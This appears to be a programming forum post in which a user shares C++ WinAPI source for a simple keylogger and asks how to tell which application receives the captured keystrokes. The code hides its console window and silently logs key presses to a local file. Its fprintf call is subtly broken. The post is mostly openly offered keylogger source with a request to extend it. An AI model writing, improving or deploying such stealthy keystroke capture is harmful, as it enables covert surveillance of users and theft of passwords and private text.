I am trying to write a simple keylogger in C ++ using WinAPI. Is there any way to get in which application the user enters captured strokes? And here is my code:
#include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int main() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) { FILE *OUTPUT_FILE; OUTPUT_FILE = fopen("LOG.txt", "a+"); int c=static_cast<int>(i); fprintf(OUTPUT_FILE, "%s", &c); fclose (OUTPUT_FILE); } } } system ("PAUSE"); return 0; }
user2166581
source share